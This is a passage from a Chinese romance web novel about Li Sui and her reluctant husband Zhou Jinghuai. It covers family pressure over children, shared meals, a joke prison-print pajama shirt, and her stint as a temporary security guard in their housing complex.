她还怎么享受自由的生活。 “穗穗,你不用替他说好话。”周芷玉喝了口水,难得关心道,“都说小别胜新婚,正好这段时间,你们也商量下孩子的事情。” 黎穗心一颤。 果然来了。 果然每个结婚的人,都逃不开被长辈催生的命运。 她攥紧手里的杯子,还不知如何开口,一旁的周景淮却悠闲地拿起遥控器,打开了电视机:“生不了。” 周芷玉不解:“为什么?” 周景淮:“结扎了。” “咳。”黎穗差点被水呛住,抬眸惊讶地看着周景淮。 而周芷玉,表情足以用惊悚来形容,甚至隔了好几秒,才慢慢找回理智:“你说什么?结扎?你好好的去结扎干嘛?” 周景淮不甚在意地调着台:“路过看到限时八折,想着这种便宜不占就没了。” 黎穗:“……” 5、第 5 章 周芷玉面容冷凝,刚想斥责,结扎这种事情怎么可以开玩笑。 却又听到周景淮话锋一转:“也不好说,过两年要是想要了,去复通也说不定。” 周芷玉松了口气:“那就好,那你们还是好好考虑考虑,我听说这玩意儿要做的话还是要尽早做,几率大。” 眼见着周芷玉让了步,黎穗对周景淮的说话艺术肃然起敬。 就像对人提要求的时候,先提一个苛刻得根本达不到的,再退而求其次,提一个有点希望达到的,这样第二个要求得到满足的几率会高很多。 而周景淮是反过来,先把路堵死了,再给你象征性画个饼,这样别人就会期待饼落进嘴里,早就忘了一开始的要求是什么。 “穗穗啊,你的想法呢?”周芷玉显然还没有放弃,开始从黎穗这头下手。 “我……”黎穗也不知道怎么说。 周景淮可以毫无犹豫地拒绝母亲的提议,但黎穗不行,因为对周家而言,爷爷是他们的恩人,但于她而言,资助她的学业、在爷爷生病时出钱又出力的周芷玉,同样也是她的恩人。 “妈。”周景淮又一次打断了周芷玉的问题。 周芷玉不耐烦地瞪他一眼:“又干嘛?” “我记得你刚说四点半有个视频会议。” 周芷玉如梦初醒,一看时间已经四点二十五了。 “哎哟,还真差点忘了。”也只有工作能让周芷玉暂时忘记一切,她赶紧起身上了楼。 黎穗如释重负。 考虑到黎穗要去市集,晚饭吃得很早,不到六点,黎穗就准备出发去开门营业。 她本来想自己打车去的,但周芷玉催着周景淮送,黎穗盛情难却,正好也有些事想跟他说,就没再拒绝。 正提着购物袋,打算穿上自己的帆布鞋,余光却看到了刚才被换下的高跟鞋。 知道周芷玉正站在身后,黎穗犹豫片刻,还是换上高跟,转手把帆布鞋塞进了鞋盒里。 在周芷玉欣慰的眼神里,她用极缓的步调下了门口的台阶。 二十分钟的车程,显得异常沉默,黎穗总觉得他好像在思考些什么。 她不是一个是非不分的人,想到刚才的事情,还是主动打破了沉寂,但喊哥也不对,喊老公喊不出口,于是只能直呼其名。 “周景淮,刚才,谢谢你啊。” “谢我什么?” “谢谢你替我解了围。”黎穗好奇地问,“但是,你说结扎什么的,是真的假的啊?” “目前是假的,以后不一定。” “哦。”黎穗便没追问,反正以后跟她也没关系。 而且现在还有一件更紧急的事情摆在面前。 “其实这么下去,也不是事儿,妈想抱孙女也不是一天两天了,你最近有时间吗?要不我们去把离婚证领了?妈那边,我会承担所有责任。”黎穗低头抠着手指,诚挚道,“我也该跟你认真道个歉,当时……确实是我太不理智太冲动了。” “最近不行。” “为什么?” 周景淮语气淡然:“最近太红了。” 黎穗:? 要不要脸。 “前脚绯闻,后脚离婚,要是被拍到,不说我妈怎么想,董事会那批人也不会放过我的。” 的确,黎穗用膝盖都能想象到那腥风血雨的程度,而且说不定人家女明星还会被冠上第三者插足的莫须有罪名,没必要把无辜的人卷进来。 “那好吧。”黎穗退一步,“那你什么时候觉得事情翻篇了,再跟我说吧,我随时都有空。” “嗯。”周景淮低低应了一声。 她平时一般都是从北门进,但南门停车方便,黎穗就让周景淮把车开到了南门。 也是到了那儿,黎穗才发现,原来不止市集里的店铺,南门外还有不少流动小摊。 有看上去像创业的年轻人,也有上了年纪的叔叔阿姨。 黎穗透过车窗,一眼就被角落里一位奶奶吸引了视线,她看起来有六七十了,穿着朴素,用花花绿绿的头巾裹着头发,脸上带着浅浅的笑意。 更主要的是,她和黎穗做着一样的糖画生意。身旁一条棕黄色的小狗,正趴在地上安安静静地陪伴着。 黎穗瞬间想起了爷爷。 她从有记忆开始,身边就只有爷爷一个家人。 一辆三轮车,走遍了这座城市的每个角落,每当爷爷摆摊的时候,黎穗就坐在他身边,安安静静地等着。 爷爷虽然自己生活粗糙,却给了她他力所能及范围内最好的,亲手做的小裙子小布鞋,就连辫子,也梳得整齐。 买糖画的叔叔阿姨看到她,经常会夸她可爱,而她也从来不害羞,左一句“姐姐你真好看”,右一句“哥哥你真帅”,总是哄得路过的人不好意思不买。 不是没有被赶的时候,但爷爷生性乐观,被赶了也只是笑呵呵地离开,怕她吓到,偶尔路上还会给她买一块小蛋糕,骗她说是刚才的叔叔送给她的礼物。 小时候的画面,在脑海中,清晰得就像昨天才发生。 可明明,已经物是人非。 “嗨!你怎么在这儿?” 窗外雄浑有力的聊天声,把黎穗从回忆中唤醒,才发现车早已停下。 她转身从后座拿了鞋袋,本能地想打开换鞋,却在犹豫两秒后,又把手收了回去。 开门下车,但右脚还没碰到地,就被周景淮拉住了手腕。 黎穗疑惑回头,只见他神色淡淡地说:“把鞋换了。” “为什么?”黎穗几乎没有犹豫就拒绝了,“我喜欢这新鞋,多好看啊。” 周景淮沉沉看了她几秒,右手拿过她手里的袋子,开门下车。 绕到副驾驶一侧,周景淮将她的身子转了过来。 脚腕被他的左手握住,灼热的体温,让黎穗本能地缩了缩,但今天的周景淮,显得格外强硬,黎穗的努力毫无用处。 被挤在高跟鞋狭小头部的脚趾,不舒服地动了动。 周景淮动作迅速地将她脚上的鞋脱了下来,随手扔到盒子里,咚咚两声,黎穗感觉起码四位数已经打了水漂。 在此之前,黎穗没有在他面前表达出对这高跟鞋的不适应,是因为她觉得,周景淮说到底也是周家人。 平时怼来怼去也就算了,这种收了礼物还不满意的事情,万一从他那儿传到周芷玉耳朵里,就未免显得她太不识好歹了。 她不知道周景淮是怎么看出来的,但既然已经被识破,她也就索性坦白了。 “你别告诉妈,我怕她失望。” “她送礼前不了解你的喜好,是她的问题。” “……”黎穗莫名其妙地想,难怪周景淮精神状态这么稳定。 他看起来就是“与其自己内耗,不如怪罪他人”的那种人。 “也不是不喜欢,只是穿不习惯,也不太用得上,市集里都是鹅卵石路,我穿这样估计走几步就要崴了。” 周景淮低着头,看不清神色,一言不发地帮她把帆布鞋穿好,骨节分明的修长十指,就连系个鞋带,也像是在摆弄一件艺术品。 末了,他仰头,无奈叹了口气。 “黎穗。” “嗯?” “现在不是说得挺溜?怎么到我妈面前就不敢说了?” 她本没有任何理由委屈自己,无论是穿一双鞋。 还是嫁一个人。 可周景淮有时候又想,自己有什么立场说这种话呢,他不也一样? 明知她当时不理智、明知她的心另有所属,却还是假装不知地装成猎物,闯进了她的生活。 * 晚上又下起了雨,淅淅沥沥。 黎穗撑着脑袋,看着雨滴落在鹅卵石上,水波四溅,宛如这阴沉沉天色里,绽放的烟花。 周景淮的话,在她脑海中循环播放,但记忆更深的,倒不是内容,而是他当时异常郑重的语调和神色。 在黎穗和周景淮为数不多的接触中,这样的周景淮,无疑是令人陌生的。 她还清晰地记得,第一次和周景淮见面的场景。 那是差不多六年前,异常躁热的七月。 她还没有放暑假,爷爷的室外糖画摊,因为气温实在太高,完全开不了张,正好认识的店老板给他送了张景区门票,他想着不要浪费,就一个人去了。 没想到就是在那个甚少人光顾的景区,他意外救下了当时年仅五岁、失足落水的周景丞。 为了表示感谢,周芷玉特意请他们爷孙俩去周家做客。 周景丞受了惊吓,早早就在保姆的陪伴下休息了,餐桌上除了她和爷爷,就只有周芷玉和刚回国过暑假的周景淮。 见她没吃多少,周芷玉热情地从砂锅里夹起一个大鸡腿:“穗穗,你才吃这点就饱了?尝尝这个。” 想起进门前爷爷千叮咛万嘱咐要听话,要有分寸,黎穗连连摆手:“阿姨,我不吃了,已经饱了。” “就吃这点就饱了?”周芷玉倒也没有坚持,把筷子放下,心疼地拍拍她的手,“饭量这么小,难怪这么瘦。” 黎穗腼腆笑笑。 “对了,你爸爸妈妈呢?怎么没有一起来?” “我……“ 黎穗的话还没说完,就被爷爷打断:“她爸妈车祸去世得早,从小就跟着我长大的。” “啊。”周芷玉歉疚道,“对不起啊,阿姨不是故意的。” “没关系的,阿姨。” “小姑娘太乖了,我要是有女儿就好了,可惜我那前夫不争气,只给我留了两个儿子。”周芷玉遗憾地叹了口气,突然眼神一亮,“哎,穗穗,要不你认我做干妈吧?行不行?” 黎穗心口一震,本能地看向爷爷。 “这……”爷爷犹豫片刻,在周芷玉的热情催促下很快答应了,笑容满面地让黎穗叫人。 黎穗在外人面前绝不吃亏,但也有一个性格缺点,那就是在她觉得对自己很重要的人面前,她会习惯性地“听话”。 毕竟,在她的生命里,可以称得上很重要的人,实在太少了。 所以,眼见着爷爷点头,黎穗立刻喊了一声“干妈”。 “哎!”周芷玉的眼眸里溢出笑意,又招呼着黎穗看向周景淮,“这以后就是你哥,要是有什么事情,随时找他帮忙。” 和热情的周芷玉不同,周景淮全程不冷不热,自始至终都没说过什么话。 直到此刻被卷入话题中心,他才淡淡抬头看了黎穗一眼。 俩人的目光直直对上。 漆黑的眼眸稍显冷淡,黎穗如鲠在喉,憋了许久才憋出一声“哥”。 周景淮微微颔首示意听到了,又低头自顾自地吃起了饭。 黎穗觉得,他可能是在不高兴,母爱被莫名其妙剥夺了一部分。 饭后,周芷玉和爷爷下了一晚上的棋,结束已经是深夜,周芷玉看着窗外的雨,热情地留他们住一晚再走。 而过分委屈自己胃的结果就是,那夜回到客房,黎穗饥肠辘辘。 实在饿得睡不着,又不想吃周家的东西,见外头一片漆黑,大概都睡了,黎穗看了眼支付宝里的余额。 58.36元。 她挑了许久,最后忍不住给自己点了一个用完券之后只需要九块九的馄饨外卖。 怕外卖员敲门吵醒其他人,黎穗盯着派送地图,眼见着距离不到一百米,立刻先一步下楼到庭院大门外迎接。 酷暑的深夜,依旧闷热,黎穗怕被人发现,又想着吃完顺便把垃圾丢外面,于是没有进屋,而是绕到了后花园,坐在秋千上,捧着那碗小馄饨,一口一个,吃得很是满足。 唯一的缺点是,不知道后花园路灯的开关在哪里,她只能借着月光,看清碗里的馄饨,还要时不时动动腿,躲避猖狂的蚊子。 然而吃到一半时,漆黑的小花园里突然洒下一道亮光。 黎穗本能仰头,顺着灯光看去。 周景淮穿着一身黑色睡衣,站在二楼阳台上,神色淡淡地看着她,右手还搭在开关上没来得及放下。 突然被抓包,尴尬一股股涌了上来,黎穗攥着勺子挺直腰板,鬼使神差地解释:“我花自己钱买的。” 顿了顿,又底气不太足地请求:“你别……告诉他们。” 比起吃饭时的冷淡,此刻的周景淮反倒显得生动一些,他的双手手臂搭在栏杆上,轻笑一声道:“你人还挺好。” 黎穗还没明白过来是什么意思,又听他慢悠悠补充: “自己吃馄饨,倒给蚊子喂满汉全席。” “……” 吃饭时,黎穗对周景淮的第一印象是:帅,可惜不长嘴。 而此刻,印象变成了:帅,可惜长了一张嘴。 这种印象直接导致,之后数年为数不多的接触中,她对周景淮,总不如对其他周家人那般和善礼貌。 但现在想来,黎穗才发现,有一个点,当初自己完全没有注意。 那就是,他转身进屋的同时,没有关灯。 他给身处黑暗的她留了光。 也从一开始,就为她守住了全部秘密。 6、第 6 章 翌日早上,迎接黎穗的,也是一锅热气腾腾的小馄饨。 一回生二回熟,这次,黎穗没有犹豫就给自己盛了一大碗。 比起六年前那九块九,不知道要好吃多少倍。 黎穗心满意足的同时,内心却也纠结。 她其实会做饭,但爷爷去世之后,她就彻底懒得做了。开始是因为周芷玉估计担心她,每天都让张姨给她送饭,后来则是因为,一人份不好做,外卖又越来越便利,总觉得吃什么不是吃,吃不死就行。 但此刻,吃着热乎乎的小馄饨,一种“还债”的想法达到了顶峰。 所以这天,黎穗傍晚就关门了,去超市晃了一圈,准备晚上大显身手,靠一顿的含金量还他这几顿。 可是,她并不知道周景淮喜欢吃什么。 犹豫之下,黎穗给张姨打了个电话,张姨回忆片刻,说他没什么特别喜欢吃的,倒是有一样不吃——海鲜。 但那天他明明做了海鲜粥,而且自己也吃了。 黎穗有些云里雾里,最终还是按照张姨的推荐买了几样食材,推着购物车朝自助收银台走去,半路经过特价区,她看热闹似的扫了眼。 却被促销拖鞋吸引了视线。 她猛然想起来,这两天,周景淮好像都是光着脚在客厅走动的。 虽然她那天说改天帮他买,确实只是客套,但既然要长住,自己动动腿去买一双不行吗? 懒死他得了。 黎穗推着购物车越过促销区,却又突然停住,两秒后,退了回去。 算了,看在这几天他还算顺眼的份上。 只是,这19.9的拖鞋,会不会太便宜了? 黎穗见过老宅里,周芷玉买的那些拖鞋,价格上对比起来,眼前这灰不拉几的,跟地里刨出来似的。 但是转念一想,万一他后面又改主意,不在辅川久留,那买那么贵的不是浪费了? 酒店还用一次性呢。 黎穗伸手拿了一双,一旁促销的阿姨见状,立刻迎了过来:“小姑娘!这个两双29.9!你买两双更合算呀。” “我用不了两双。”黎穗婉拒。 “哎哟,这东西放着又不会过期,过个一两年还能穿的呀,你10块钱多买一双,多合算是不是?” 黎穗突然觉得也有道理。 正好自己那双旧拖鞋,也差不多可以下岗了。 “那我拿两双吧。” “好嘞!”阿姨热情地往她购物车里又扔了一双。 回到家,她把拖鞋标牌拆了,塞进鞋柜,怕他看不见,又直接在门口地上放了一双大号的。 袋子里暂时用不着的食材塞进冰箱,黎穗拿着两个番茄,准备先做一道色香味俱全的番茄牛腩。 番茄的香味,很快从厨房飘到了玄关处。 周景淮进门时,脚步微微一顿,因为这食物香气,也因为,地上的那双拖鞋。 漆黑光亮的定制皮鞋被放进鞋柜,和她那双白色帆布鞋整整齐齐摆在一起。 周景淮换上拖鞋,鞋底儿梆硬,跟扔到南极被冻了三天三夜似的。 但是没关系。 周景淮心情颇好,靠在厨房门口,看着她转悠来转悠去。 “干嘛呢?” 土豆牛腩正在炖,黎穗忙里抽空,回头看了眼,又从冰箱里又拿出两个土豆。 “炒土豆丝。” 说着,她麻利地将土豆洗净、削皮,但没有刮丝器,拿起刀时,不由得有些无从下手。 以前做菜的时候,总是爷爷在旁边陪着打打下手,切土豆丝这类的活,爷爷怕她不熟练伤到手,每次都会揽下来。 可是现在…… 想到爷爷,虽然没有了三个月前那般,锥心刺骨的痛,但心里依旧跟针扎似的,泛起密密麻麻的疼。 鼻尖微微发酸的时候,身旁突然传出一声调侃:“你是打算把咱家桌腿换了?” 黎穗低头一看,四根差不多快有小拇指粗的土豆丝,惨兮兮躺在砧板上。 脑子里那些灰暗的回忆,瞬间消散,黎穗对他亮了亮刀锋:“知道我为什么切这么粗吗?因为你山猪吃不了太细的糠。” 话虽然这么说,但黎穗还是低头认真地把第一根“桌脚”一分为二。 不多时,刚被冷水冲刷过、带着凉意的掌心贴上她的手背,不到一秒的时间,刀已经到了他手里。 “桌腿”在他手下分裂成了六根。 太伤人了,黎穗咬牙。 “要糊了。”周景淮突然开口。 “什么?” “你的番茄牛腩。” “啊!”黎穗惊呼一声,赶紧开锅,拿着勺将番茄牛腩盛到碗里。 一回头,周景淮已经把一个土豆切完了,每条土豆丝粗细均匀,堪称后厨老师傅的刀工。 黎穗终于忍不住问出内心的疑惑:“你这几个月不是很忙吗?怎么还对厨艺感兴趣了?” 周景淮闻言,手上动作暂停了一秒:“技多不压身。” 黎穗也没有多问,洗了锅,准备做下一道菜。 正热油的时候,周景淮突然像是想起什么,问:“门口的拖鞋,你买的?” 黎穗头都没回,自顾自往锅里倒油:“不是啊。” “那哪儿来的?” “我怎么知道,老鼠叼来的吧。” “哦。”周景淮转身把一盘土豆丝放在她手边,理所当然低笑道,“那让它记得再叼件睡衣,没得换了。” 黎穗:“……” * 都说手机仿佛能偷听人聊天,黎穗不久就感受到了这种威力。 撑着脑袋坐在工作台后,黎穗百无聊赖地刷着视频网站,首页立刻给她推送了一个直播间,里面主播正热情洋溢地介绍一款真丝男士睡衣。 价格999。 她觉得她和周景淮的关系,还没亲密到值得她花这么多钱。 她把直播间划走,又刷了几个视频,看到一个新闻。 【好浪漫!男生摆999朵玫瑰诚挚道歉!全场助攻求原谅!】 视频里,男生站在由玫瑰组成的爱心中,手里捧着一束花,单膝跪地,大喊道:“原谅我吧!” 旁边围观的吃瓜群众们默契助攻:“原谅他!原谅他!原谅他!” 女生脸上却并没有笑容,右脚本能地往后退了一步,显得有些抗拒。 黎穗不知道这段视频最终结果如何,但光看这段,她感受不到任何浪漫的氛围,只觉得可怕。 所有人不问前因后果,只为看到自己心里的he结局,男生开心了,观众开心了,似乎只有女生开不开心,无人在意。 把视频划走的同时,黎穗又想起了周景淮那被她绑着踏进婚姻的小可怜。 心有灵犀般的,手机上跳出周景淮发来的消息: 【睡衣不买也没事,我把湿的用吹风机吹吹干,也能穿。】 ……算了。 “总不能欠他。” 九点出头,黎穗自言自语着锁好门,右腿往旁边一迈,踏进了空无一人的旗袍店。 “旋旋姐!”黎穗对着布帘有气无力地喊了一声。 “哎。” 一只白皙的右手,撩开帘子,露出一张张扬明艳、笑意盈盈的脸蛋。 赵亦旋穿着一身素雅的青色旗袍,身侧绣着秀气的玉兰,她拿起一根木质发簪,随手将蓬松的栗色卷发盘到脑后,语气羡慕地说:“你又这么早关门啊?” 市集的营业时间是中午十二点到晚上十点,努力的老板经常开满十个小时。 但黎穗属于老板里的咸鱼。 她基本上要么从十二点到傍晚,要么从傍晚开到晚上,还弹性双休,主打一个随心所欲。 “少开几个小时,就少赔几个小时的电费。”黎穗趴在柜台上,熟门熟路地从旁边的盘子里,拿起一颗送给顾客的薄荷糖。 她边剥边问:“你这儿卖男士睡衣吗?” “妹妹,我这是旗袍店。”赵亦旋无语地点了点柜台上的宣传单,突然八卦地挑起眉,“等等,你交男朋友了?” “呃。”黎穗犹豫片刻,“不是,我表哥,要来我家借住一段时间。” “啧。”赵亦旋指了指对面的diyt恤店,“你去那家看看,t恤,也能当睡衣吧。” “行,那我去看看。”黎穗朝赵亦旋挥挥手,确认了手机里的余额后,直奔t恤店。 老板很年轻,看起来不过二十出头的年纪,大概也是因为没什么生意,正百无聊赖地躺在摇摇椅上玩斗地主。 认出她是糖画店的老板,对方朝她微微颔首,主动打了声招呼:“又这么早就关门了啊?” “……”她这咸鱼的形象,到底印在了多少人心里。 她笑着点头,问:“老板,diyt恤,需要多久能拿?” “很快,不超过半个小时的。” “那帮我拿一件吧。” 老板翻找着架子上的衣服:“多大型号?” “身高……应该有185以上,体重……”黎穗还真不知道,只能说,“男模的身材。” “……” 老板看向她的眼神里,颇有点“从没见过这么大言不惭之人”的意味,但并没有多说什么,找到合适尺寸的纯白色t恤套装,他又问:“要定制什么图案呢?” 黎穗趴在柜台上,翻看着图册上的花样,在看到其中一张时,视线顿住,眼里陡然闪过一丝坏劲。 “就这个吧。”她指了指。 老板倒是见多了,毫不意外,很快按照要求,把定制好的t恤交给了她。 黎穗满意地带着回了家。 周景淮似乎正打算洗澡,听到她说替他买了睡衣,特意停下脚步。 黎穗把t恤从口袋里拿出来,满意地抖了抖—— 纯白色长袖t恤的胸口位置,印着一个简单的黑色楷体汉字。 囚。 “看,纯狱style!” 出乎黎穗意料的是,周景淮看上去非常镇定,甚至带着几分欣赏地点了点头:“挺有创意。” 没意思。 黎穗撇撇嘴,把睡衣扔给了他。 俩人各自去洗了澡。 黎穗照旧穿上了自己那件印着兔子警官的睡衣,一出卧室,看到堂而皇之坐在客厅里的囚犯装周景淮,她的嘴角一次次往下压,却又一次次破功。 直到门铃声转移了她的注意力。 这个时间点,谁会来? 黎穗惊讶地看向周景淮,但后者倒是很淡定,像是意料之中。 “助理。” 见他起身,黎穗压低声音问:“我需不需要躲躲?” “不用,他不会进来。” “哦。”黎穗就没动,继续心安理得地吃着手里的薯片。 门口,宋杰看着囚犯装的老板,一时摸不着头脑:“老板,你这是……” 周景淮让了让,接过他手里的行李箱。 也就是那一瞬间,助理看到了客厅里盘腿坐在沙发上的人,距离太远,女生又侧着头,看不清长相。 宋杰恍然大悟,凑过身,压低声音:“难怪老板一听说辅川要打雷就急忙回国了,行李都来不及收拾,原来是陪女朋友啊?” 见周景淮不置可否,助理又偷偷再看一眼,这回倒是看清了对方身上那件兔子警官的睡衣,他伸手比了个赞:“情侣装!老板真有情调。” 这句的音量比前一句高不少,黎穗虽然没完全听清,但还是依稀听到了“情侣装”三个字。 嘴里的薯片突然就不香了。 她瞳孔轻颤,看了眼周景淮身上的衣服,又低头看了眼自己的,脑袋一懵。 ? 不是,谁家情侣装整中西混搭的啊? 8、第 8 章 糖画除了对天气有要求,还是一项非常考验手部灵敏度的艺术,手背的烫伤,让黎穗不得不关门休息两天。 趁着在家没事干,黎穗登陆了好几个月没打开过的小说网站作者后台。 评论区热火朝天。 【大大去哪儿了?好久没开新书啦,微博也不更新。】 【完结撒花!大大的现实向yyds!!!下本什么时候开啊?期待期待期待。】 【啊啊啊啊啊太绝了!看哭了,大大的文字真是感染力太强了。】 …… 评论区的好评,给黎穗喂了一颗定心丸,还好,虽然连载期间遭遇大的变故,但幸好,没有写崩。 而且她意外的发现,这本虽然收藏没有上一本高,但死忠粉似乎更多,还有个叫【mq】的读者给她砸了好几十个大额礼物,一下就霸占了粉丝榜第一的位置,且一骑绝尘。 只不过这几个月她都没登陆,也没提取过稿费,所以并没有注意到。 她转头打开存稿箱。 里面还存着两章之前写好的新文开头,然而黎穗看完之后,却感觉这些内容陌生得仿佛是别人写的。 盯着之前清空的备忘录看了许久许久,想记录一些灵感,却发现脑子里还是一片空白,她按灭手机,深深叹了口气,也不知道是太久没写了,还是真的有些江郎才尽。 因为她写的几乎都是现实向题材,所以大学时遇到这种情况,她就会去找点兼职做做,一为赚钱,二为找灵感。 正好这两天有空,不如,再试试? 时隔许久,黎穗再次打开了微信里那个被设了免打扰的兼职群,但翻了翻,都是一些发传单、服务生之类的兼职,她大学做过不少,没有什么新鲜感了。 她又去刷了会儿朋友圈,很快,被本小区物业经理昨天发的内容吸引。 【招聘兼职保安,面谈。】 保安…… 这职位,黎穗还真没做过,而且主要是离家近。 都说年轻时做保安,少走四十年弯路,黎穗立刻给对方发了消息,这才知道因为最近甲流猖狂,小区里的保安倒下了好几个,但每个岗位又必须有人,于是只能加急招一些临时工。 黎穗兴冲冲问:【你看我可以吗?】 李经理是认识她的,似乎有些犹豫:【你一小姑娘……】 黎穗:【我不要钱,而且现在就能到岗。】 李经理:【速来。】 黎穗就这么上了岗。 长安壹号的保安工作主要分为四块:大门站岗、日常巡逻和地下停车场站岗及巡逻,还有满足业主的一些日常需求。 黎穗分到的工服是离职女员工的,还算合身,她系紧了腰带,戴上帽子,就听到李经理交代道:“午饭前把小区巡逻一圈,查看是否存在安全隐患,要是有业主需要帮助,也上门看看,两点后来大门口接替小王,晚上八点下班。” “好。”黎穗一口应下,麻溜骑着保安处配备的巡逻小车走了。 春日的太阳还不算猛烈,但依旧照得人有些睁不开眼睛,她四处环顾着,直到一声猫叫,吸引了她的注意力。 她顺着声音看去,一只绿眼睛的狸花猫,看起来不过巴掌大小,怯生生缩在角落,啃咬着一朵掉落的桃花,看上去是饿急了。 黎穗觉得它有点眼熟,定睛一看才意识到,这不就是周景淮回来那天,用狗尾巴草逗的那只吗? 黎穗摸了摸口袋,只找到一个早上没吃完的小面包。 她搜索了一下,确定猫咪可以吃之后,下车慢慢靠近它。 但是小家伙看起来防备心特别强,一看她靠近,几乎浑身的毛都竖了起来,她往前一步,它就往后退两步。 黎穗蹲在路边,伸出手用面包诱惑了一下,它丝毫没有感动,反而蹭一下钻进草丛,一下就没影了。 “……”黎穗有点挫败。 周景淮那张脸吸引力这么大吗? 也确实。 黎穗说不出违心的话,把面包往口袋里一塞,继续自己的巡逻工作。 午饭后,黎穗按照消防手册上的要求,一幢楼接一幢楼查看消防设备。 查看完四幢,黎穗按下电梯下楼。 门口不知何时停了一辆拉货车,上面装着床板和几个小柜子。 看起来是有人搬家。 黎穗正准备走,却突然被人喊住:“哎,保安大……” 黎穗热情回头,看到一个穿着黑色长裙的女生,对方在看清她的那刻也愣住了,立刻改了口:“大妹子?” 黎穗热情地跑了回去:“有什么需要帮忙的吗?” 女生画着明艳的妆容,黑色大波浪披散着,在微风中滑落肩头,露出了领口处明显的一点淤青。 她不好意思地笑笑:“我搬家呢,一个人有点忙不过来,你能帮帮我吗?” 黎穗想,这大概就属于李经理跟她说的,业主的日常需求。 她自然没有拒绝的道理,立刻停好小车,跟着对方上了楼。 19楼是一梯两户的小户型,房子里一团乱,墙上的挂画、烧水壶、水果等等散落一地。 黎穗一时不知道从哪里下脚:“这是……” “哦,没事。”女生扫了眼,递给黎穗一个纸箱,“昨晚跟我准前夫打了一架。” 黎穗懵懵问:“赢了吗?” 女生噗嗤一声笑了出来,侧过身给她看淤青:“算赢了吧,我就这点伤,他还在医院躺着呢。” “不枉我练了半年拳击。”女生如释重负般呼出一口长长的气,“你帮我把肉眼可见的东西都扔进去就行。” “好。”黎穗蹲在地上,一件件往里捡,忍不住问,“为什么还是准前夫?” 女生撇撇嘴:“他不肯离,说爸妈觉得丢脸。” “丢脸?” “嗯,她妈说,以后别人介绍他就是二婚男,在相亲市场上受歧视。”女生撇撇嘴,“我管他呢,先搬家再说,他要再不同意,我就直接起诉。” 黎穗宛如一个没有灵魂的机器人,手还在捡东西,思绪却早已飘到了不知哪里。 她要是和周景淮离婚,那他也是二婚男了,也会被歧视吗? 但黎穗转念又想,他到底还是和别的男人不一样的。 谁敢歧视他啊。 他不歧视别人就谢天谢地了。 两个人的速度,确实比一个人快多了,不到一个小时,客厅就空荡得宛如毛坯房。 拉货车先一步开走,女生拿着车钥匙准备去地下停车场开车。 临走前,她笑着往黎穗怀里塞了一样东西:“送你。” 黎穗低头一看,是一个纸筒,和小雨用来装明星海报的那种差不多。 虽然不知道里面是什么,但黎穗还是连连摆手:“不行的,我们不能收业主的东西。” “就几块钱的玩意儿。”女生按住了她的手,“我朋友送我的,转送给你吧,当作对你的祝福,谢谢你今天帮我搬家,有缘再见!” 黎穗来不及再拒绝,女生就急匆匆跑了。 她打开纸筒口往里看,只看到好像卷着什么,但看不清内容。 黎穗正想把它倒出来看看,腰上的对讲机里传出了保安小王的声音:“小黎?小黎?你在哪儿?来门口换岗。” “来了来了!”黎穗赶紧把盖子盖上,拿着对讲机一边回应,一边往大门口赶。 迎接业主回家、欢送业主出门、登记访客、和外卖员沟通…… 这几件事,几乎占据了黎穗一下午的时间。 七点五十五分,夜色笼罩,下班在即,一辆陌生的奔驰缓缓驶来。 见电子屏上显示是访客车辆,黎穗熟门熟路地伸手拦停,拿着登记本上前:“麻烦做个登记。” 驾驶座车窗缓缓降下,司机脱口而出:“5幢22楼。” 5幢22…… 黎穗写到一半,惊觉,这不是她家吗? 车内有淡淡的酒味,她透过车窗往里看,借着路灯的光亮,隐约看到后座坐着一个人,他脑袋偏着,双眸紧闭,看不清容颜。 黎穗压低声音问:“他喝醉了啊?” 司机不答反问:“你登记完没啊?” 黎穗缩缩脖子,刚想问对方姓什么,后座却突然传来一道熟悉的嗓音,大概是因为喝了酒,显得越发低沉。 “不用开进去了。” 司机惊讶回头:“周总?” 后座车门被打开,周景淮下了车,顺手甩上车门,摆了摆手示意司机开走。 老板都这么说了,司机自然没再停留,黑色的车影很快消失在夜色中。 周景淮按了按眉心,目光落在她那身保安服上:“你玩cosplay啊?” “……”黎穗一脸严肃道,“我工作呢!你等等——” 换岗的小吴已经进了保安室,黎穗看了眼时间,到保安室内签到下班。 捧着海报筒出来时,周景淮正靠在保安室的墙壁上,没什么精神似的垂着脑袋,领带被扯开,松垮垮地挂在脖子上。 黎穗扯了扯他的衬衫袖子:“你没事吧?” 周景淮眉头轻蹙,右手抬起,声音听着有些疲惫:“扶我一把。” 黎穗跟丫鬟搀扶娘娘似的,用双手捧住他的右手:“这样行吗?” 走了两步,黎穗深觉,不行。 他醉得好像还挺严重,按这速度,天亮了也走不到家。 她咬咬牙,索性把海报筒往腰带里一塞,右手拉着他的手腕,搭到自己的右肩上,左手搂住他的腰。 隔着薄薄的衬衫衣料,她的手臂和他的后腰紧急贴在一起,甚至可以清晰地感受到彼此的体温。 周景淮呼吸一紧。 一个搂抱的姿势,垂眼就能看到她的发顶,晚风拂动,发丝上淡淡的香味传入鼻端。 周景淮的喉结滚了滚,有些心猿意马的同时,黎穗停下脚步动了动身子,手臂上的红色袖带因此进入了周景淮的视线。 【严防歹徒,守护和谐。】 “……”亵渎了。 黎穗艰难地将他带回了家。 刚一开门,就见大圣乖巧地蹲在门口,一脸期待地看着他们。 “大圣,你能把……”黎穗一时间没找到一个合适的词汇,顿了顿接着说,“……把你干爹叼沙发上去吗?” 大圣不为所动。 “算了,你个不成器的家伙,人家的狗都能上清北,你叼个人都不会。” 黎穗话痨似的骂骂咧咧,用尽全力把周景淮扔在沙发上,人却被他的重量一带,直接摔在了他身上。 下巴磕在了他的胸口,黎穗闷哼一声,眉头皱起,下一秒,一只温热的手掌,轻轻摸了摸她的下巴。 目光对上,黎穗突然觉得这个动作很熟悉。 她隔了几秒想起来,每次大圣贪玩,下巴磕到地板的时候,她也是这么做的。 “……”黎穗立刻推开他,坚强不屈地从沙发上爬了起来。 她重重松了口气,摸着自己的下巴:“你这是喝了多少啊。” “没多少。”周景淮也坐了起来,手肘抵在沙发扶手上,手虚握成拳,撑着太阳穴,懒懒道,“你腰上是什么?” 黎穗才想起还有这事儿。 “我今天帮一个业主小姐姐搬家,临走时她送我的。”黎穗一脸自豪地把海报筒抽出,打开盖子,把里面的东西倒了出来。 不是海报,而是一团红色,像是横幅。 看重量,长度应该不短,黎穗把一头塞给周景淮,自己拉着另外一头往后退。 红色横幅缓缓展开。 几个白色的大字,映入眼帘—— 【不做他人老婆,坐拥八个男模。】 周景淮:? 9、第 9 章 看到横幅上的文字,俩人同时愣在了原地。 